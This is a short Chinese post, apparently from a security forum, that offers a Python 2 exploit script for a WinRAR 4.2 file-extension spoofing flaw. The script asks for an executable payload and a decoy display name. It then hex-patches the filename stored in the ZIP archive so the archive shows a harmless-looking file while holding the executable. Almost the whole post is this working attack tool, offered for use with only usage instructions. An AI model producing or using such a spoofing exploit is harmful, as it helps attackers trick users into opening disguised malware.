WinRar 4.2文件后缀欺骗漏洞EXP

首先输入 需要运行的程序的名称,然后再输入需要显示的名称,然后再输入输出的文件名即可 [php] import zipfile import binascii print " Code By Cond0r\n [url]https://t00ls.net[/url]\n [url]http://php.mu[/url]" newname=raw_input("Shellcode File:") realname=raw_input("Display Name:") zipname=raw_input("Out Name:") def copy(file,tofile): open(tofile, "wb").write(open(file, "rb").read()) def _zipfile(filename,shellcode): f = zipfile.ZipFile(filename, 'w' ,zipfile.ZIP_DEFLATED) f.write(shellcode) f.close() if newname and realname and zipname: copy(newname,realname) newname_ext="."+newname.split(".")[-1] realname_ext="."+realname.split(".")[-1] if len(realname_ext)>len(newname_ext): newname_ext=" "*(len(realname_ext)-len(newname_ext))+newname_ext realname_hex=binascii.hexlify(realname) print "Display name:"+realname realname_to=binascii.hexlify(realname.replace(realname_ext,newname_ext)) print "Real name:"+realname.replace(realname_ext,newname_ext) print "Hex:"+realname_to #print binascii.hexlify(realname) _zipfile(zipname,realname) data=binascii.hexlify(open(zipname).read()).split(binascii.hexlify(realname)) data=data[0]+binascii.hexlify(realname.replace(realname_ext,newname_ext))+data[1]+realname_hex+data[2] #print "Out Data:"+ data open(zipname,'wb').write(binascii.unhexlify(data)) print "OK" [/php]

发表评论